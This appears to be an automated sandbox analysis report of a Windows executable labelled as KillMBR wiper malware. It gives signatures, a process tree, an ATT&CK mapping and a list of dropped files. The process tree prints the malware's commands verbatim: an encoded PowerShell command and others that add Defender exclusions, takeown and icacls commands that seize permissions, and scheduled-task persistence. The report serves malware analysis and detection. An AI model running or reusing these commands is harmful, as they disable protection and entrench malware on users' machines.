Overview

overview

10

Static

static

3

c34af1f1f2...07.exe

windows10-2004-x64

c34af1f1f2...07.exe

windows11-ltsc_2024-x64

Analysis

  • user interaction
    yes
  • max time kernel
    7s
  • max time network
    5s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/09/2026, 02:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    c34af1f1f238747d6839ce6857138e97d722443c4e2a794c072c236228ceaa07.exe
  • Size 4.3MB
  • Sample260923-ckbbfacc43
  • SHA256 c34af1f1f238747d6839ce6857138e97d722443c4e2a794c072c236228ceaa07
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionexploitkillmbrpersistenceprivilege_escalationtrojanwiper

Malware Config

Signatures

  • Family: KillMBR

    KillMBR is a trojan that attempts to overwrite the Master Boot Record.

    wipertrojankillmbr
  • Detects KillMBR 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 6 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Executes dropped EXE 4 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\c34af1f1f238747d6839ce6857138e97d722443c4e2a794c072c236228ceaa07.exe
    "C:\Users\Admin\AppData\Local\Temp\c34af1f1f238747d6839ce6857138e97d722443c4e2a794c072c236228ceaa07.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:3416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAdQBiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAYgBxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGwAcABmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGkAegBuACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5052
    • C:\Windows\exploer.exe
      "C:\Windows\exploer.exe"
      2⤵
      • Checks computer location settings
      • Creates a file in the Startup directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:5956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金.bat'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5512
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金.bat" "
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5952
        • C:\Windows\system32\fsutil.exe
          fsutil dirty query C:
          4⤵
            PID:3024
          • C:\Windows\system32\takeown.exe
            takeown /f C:\ /r /d y
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:4004
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFYF金j33h金.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5996
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /F /TN "金HFYF金j33h金" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFYF金j33h金.exe" /RL HIGHEST
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2188
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFYF金j33h金.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFYF金j33h金.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:5208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HF金HFJF金.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1764
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /F /TN "金HF金HFJF金" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HF金HFJF金.exe" /RL HIGHEST
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5832
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HF金HFJF金.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HF金HFJF金.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:5216
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金金73h金ff32.bat'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:228
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金金73h金ff32.bat" "
          3⤵
          • Executes a command shell one-liner
          PID:5212
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFH金金FN3金7fJF.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:1028
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /F /TN "金HFH金金FN3金7fJF" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFH金金FN3金7fJF.exe" /RL HIGHEST
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1684
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFH金金FN3金7fJF.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFH金金FN3金7fJF.exe"
          3⤵
            PID:4648
            • C:\Windows\SysWOW64\attrib.exe
              attrib +h .
              4⤵
              • Views/modifies file attributes
              PID:5176
            • C:\Windows\SysWOW64\icacls.exe
              icacls . /grant Everyone:F /T /C /Q
              4⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:3128
            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskdl.exe
              taskdl.exe
              4⤵
                PID:972
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c 41831790129282.bat
                4⤵
                • Executes a command shell one-liner
                PID:3844
                • C:\Windows\SysWOW64\cscript.exe
                  cscript.exe //nologo m.vbs
                  5⤵
                  • Executes a VBScript file via the Windows Script Host.
                  PID:4032
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFH金F398金3hf金.exe'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              PID:5452
          • C:\Windows\rar.exe
            "C:\Windows\rar.exe"
            2⤵
            • Executes dropped EXE
            PID:896
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.exe'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              PID:4608
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /Create /F /TN "System" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.exe" /RL HIGHEST
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2816
            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.exe"
              3⤵
                PID:6004
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.exe"
            1⤵
              PID:228

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  3
                  T1059

                  PowerShell

                  1
                  T1059.001

                  Visual Basic

                  1
                  T1059.005

                  Windows Command Shell

                  1
                  T1059.003

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Persistence

                  Boot or Logon Autostart Execution

                  2
                  T1547

                  Registry Run Keys / Startup Folder

                  2
                  T1547.001

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  2
                  T1547

                  Registry Run Keys / Startup Folder

                  2
                  T1547.001

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Defense Evasion

                  File and Directory Permissions Modification

                  2
                  T1222

                  Windows File and Directory Permissions Modification

                  1
                  T1222.001

                  Hide Artifacts

                  1
                  T1564

                  Hidden Files and Directories

                  1
                  T1564.001

                  Modify Registry

                  1
                  T1112

                  Obfuscated Files or Information

                  1
                  T1027

                  Command Obfuscation

                  1
                  T1027.010

                  Credential Access

                  Discovery

                  Query Registry

                  2
                  T1012

                  System Information Discovery

                  2
                  T1082

                  System Location Discovery

                  1
                  T1614

                  System Language Discovery

                  1
                  T1614.001

                  Lateral Movement

                  Collection

                  Command and Control

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  powershell.exe.log
                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 2KB
                  • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 944B
                  • SHA256 2c42082be2718281fe2a2bf0136bf417ff214ce7c36bc22a40d23adb1d026632
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 944B
                  • SHA256 4cffd53a4c1299c817c7f9de80ff3bb68e5d7c7c692e93d6ec39d19c1b1998fe
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 944B
                  • SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 944B
                  • SHA256 b2dd636b7b0d3bfe44cef5e1175828b1fa7bd84d5563f54342944156ba996c16
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 944B
                  • SHA256 a2ceab0dbebd8cdcceed2823e744132f8c020238cd25aa9f30764abbfed1ca49
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  __PSScriptPolicyTest_nvpdeyue.bih.ps1
                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nvpdeyue.bih.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  x
                  • Path C:\Users\Admin\AppData\Local\Temp\x
                  • Size 1014B
                  • SHA256 99ae60b6d65d31554a34ca31ef5fc7116a67438ef376388763e4d89c516ff7a9
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  x
                  • Path C:\Users\Admin\AppData\Local\Temp\x
                  • Size 4KB
                  • SHA256 0a0cad82d9284ccc3c07de323b76ee2d1c0b328bd2ce59073ed5ac4eb7609bd1
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  41831790129282.bat
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\41831790129282.bat
                  • Size 426B
                  • SHA256 fd8b494b062cc4d30462e346fe58e656242c11039606c378fa0e207432c1741c
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  System.exe
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.exe
                  • Size 225KB
                  • SHA256 26b4699a7b9eeb16e76305d843d4ab05e94d43f3201436927e13b3ebafa90739
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  b.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.wnry
                  • Size 1.4MB
                  • SHA256 d5e0e8694ddc0548d8e6b87c83d50f4ab85c1debadb106d6a6a794c3e746f4fa
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  c.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c.wnry
                  • Size 780B
                  • SHA256 079ce1041cbffe18ff62a2b4a33711eda40f680d0b1d3b551db47e39a6390b21
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  m.vbs
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\m.vbs
                  • Size 305B
                  • SHA256 eb0a23f425e58f8c37d758a7f7cdbce3fe75e2517d7adae59687120807f0ffbd
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  m_bulgarian.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_bulgarian.wnry
                  • Size 46KB
                  • SHA256 40b37e7b80cf678d7dd302aaf41b88135ade6ddf44d89bdba19cf171564444bd
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_chinese (simplified).wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_chinese (simplified).wnry
                  • Size 53KB
                  • SHA256 845d0e178aeebd6c7e2a2e9697b2bf6cf02028c50c288b3ba88fe2918ea2834a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_chinese (traditional).wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_chinese (traditional).wnry
                  • Size 77KB
                  • SHA256 5c7f6ad1ec4bc2c8e2c9c126633215daba7de731ac8b12be10ca157417c97f3a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_croatian.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_croatian.wnry
                  • Size 38KB
                  • SHA256 3f33734b2d34cce83936ce99c3494cd845f1d2c02d7f6da31d42dfc1ca15a171
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_czech.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_czech.wnry
                  • Size 39KB
                  • SHA256 5afa4753afa048c6d6c39327ce674f27f5f6e5d3f2a060b7a8aed61725481150
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_danish.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_danish.wnry
                  • Size 36KB
                  • SHA256 a75bb44284b9db8d702692f84909a7e23f21141866adf3db888042e9109a1cb6
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_dutch.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_dutch.wnry
                  • Size 36KB
                  • SHA256 2c95bef914da6c50d7bdedec601e589fbb4fda24c4863a7260f4f72bd025799c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_english.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_english.wnry
                  • Size 36KB
                  • SHA256 26fd072fda6e12f8c2d3292086ef0390785efa2c556e2a88bd4673102af703e5
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_filipino.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_filipino.wnry
                  • Size 36KB
                  • SHA256 d8489f8c16318e524b45de8b35d7e2c3cd8ed4821c136f12f5ef3c9fc3321324
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_finnish.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_finnish.wnry
                  • Size 37KB
                  • SHA256 1adfee058b98206cb4fbe1a46d3ed62a11e1dee2c7ff521c1eef7c706e6a700e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_french.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_french.wnry
                  • Size 37KB
                  • SHA256 9bd38110e6523547aed50617ddc77d0920d408faeed2b7a21ab163fda22177bc
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_german.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_german.wnry
                  • Size 36KB
                  • SHA256 2adc900fafa9938d85ce53cb793271f37af40cf499bcc454f44975db533f0b61
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_greek.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_greek.wnry
                  • Size 47KB
                  • SHA256 e13cc9b13aa5074dc45d50379eceb17ee39a0c2531ab617d93800fe236758ca9
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_indonesian.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_indonesian.wnry
                  • Size 36KB
                  • SHA256 23e5e738aad10fb8ef89aa0285269aff728070080158fd3e7792fe9ed47c51f4
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_italian.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_italian.wnry
                  • Size 36KB
                  • SHA256 49f2c739e7d9745c0834dc817a71bf6676ccc24a4c28dcddf8844093aab3df07
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_japanese.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_japanese.wnry
                  • Size 79KB
                  • SHA256 7e491e7b48d6e34f916624c1cda9f024e86fcbec56acda35e27fa99d530d017e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_korean.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_korean.wnry
                  • Size 89KB
                  • SHA256 552aa0f82f37c9601114974228d4fc54f7434fe3ae7a276ef1ae98a0f608f1d0
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_latvian.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_latvian.wnry
                  • Size 40KB
                  • SHA256 a0356696877f2d94d645ae2df6ce6b370bd5c0d6db3d36def44e714525de0536
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_norwegian.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_norwegian.wnry
                  • Size 36KB
                  • SHA256 cb5da96b3dfcf4394713623dbf3831b2a0b8be63987f563e1c32edeb74cb6c3a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_polish.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_polish.wnry
                  • Size 38KB
                  • SHA256 519ad66009a6c127400c6c09e079903223bd82ecc18ad71b8e5cd79f5f9c053e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_portuguese.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_portuguese.wnry
                  • Size 37KB
                  • SHA256 bd9f4b3aedf4f81f37ec0a028aabcb0e9a900e6b4de04e9271c8db81432e2a66
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_romanian.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_romanian.wnry
                  • Size 50KB
                  • SHA256 70c0f32ed379ae899e5ac975e20bbbacd295cf7cd50c36174d2602420c770ac1
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_russian.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_russian.wnry
                  • Size 46KB
                  • SHA256 02932052fafe97e6acaaf9f391738a3a826f5434b1a013abbfa7a6c1ade1e078
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_slovak.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_slovak.wnry
                  • Size 40KB
                  • SHA256 e64178e339c8e10eac17a236a67b892d0447eb67b1dcd149763dad6fd9f72729
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_spanish.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_spanish.wnry
                  • Size 36KB
                  • SHA256 72f20024b2f69b45a1391f0a6474e9f6349625ce329f5444aec7401fe31f8de1
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_swedish.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_swedish.wnry
                  • Size 37KB
                  • SHA256 146f61db72297c9c0facffd560487f8d6a2846ecec92ecc7db19c8d618dbc3a4
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_turkish.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_turkish.wnry
                  • Size 41KB
                  • SHA256 6db650836d64350bbde2ab324407b8e474fc041098c41ecac6fd77d632a36415
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  m_vietnamese.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msg\m_vietnamese.wnry
                  • Size 91KB
                  • SHA256 1f21838b244c80f8bed6f6977aa8a557b419cf22ba35b1fd4bf0f98989c5bdf8
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  r.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\r.wnry
                  • Size 864B
                  • SHA256 402751fa49e0cb68fe052cb3db87b05e71c1d950984d339940cf6b29409f2a7c
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  s.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\s.wnry
                  • Size 2.9MB
                  • SHA256 e18fdd912dfe5b45776e68d578c3af3547886cf1353d7086c8bee037436dff4b
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  t.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\t.wnry
                  • Size 64KB
                  • SHA256 97ebce49b14c46bebc9ec2448d00e1e397123b256e2be9eba5140688e7bc0ae6
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  taskdl.exe
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskdl.exe
                  • Size 20KB
                  • SHA256 4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  taskse.exe
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskse.exe
                  • Size 20KB
                  • SHA256 2ca2d550e603d74dedda03156023135b38da3630cb014e3d00b1263358c5f00d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  u.wnry
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\u.wnry
                  • Size 240KB
                  • SHA256 b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  金.bat
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金.bat
                  • Size 6KB
                  • SHA256 c54dcfa396117bef27b879fbedbd0b20a682784c8913863b9c7a6b03dc791948
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  金HFH金金FN3金7fJF.exe
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFH金金FN3金7fJF.exe
                  • Size 3.4MB
                  • SHA256 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  金HFYF金j33h金.exe
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFYF金j33h金.exe
                  • Size 253KB
                  • SHA256 afec2b2af3ace2c478382f9366f6cbc9b9579f2c9a4273150fc33a2ccd59284c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

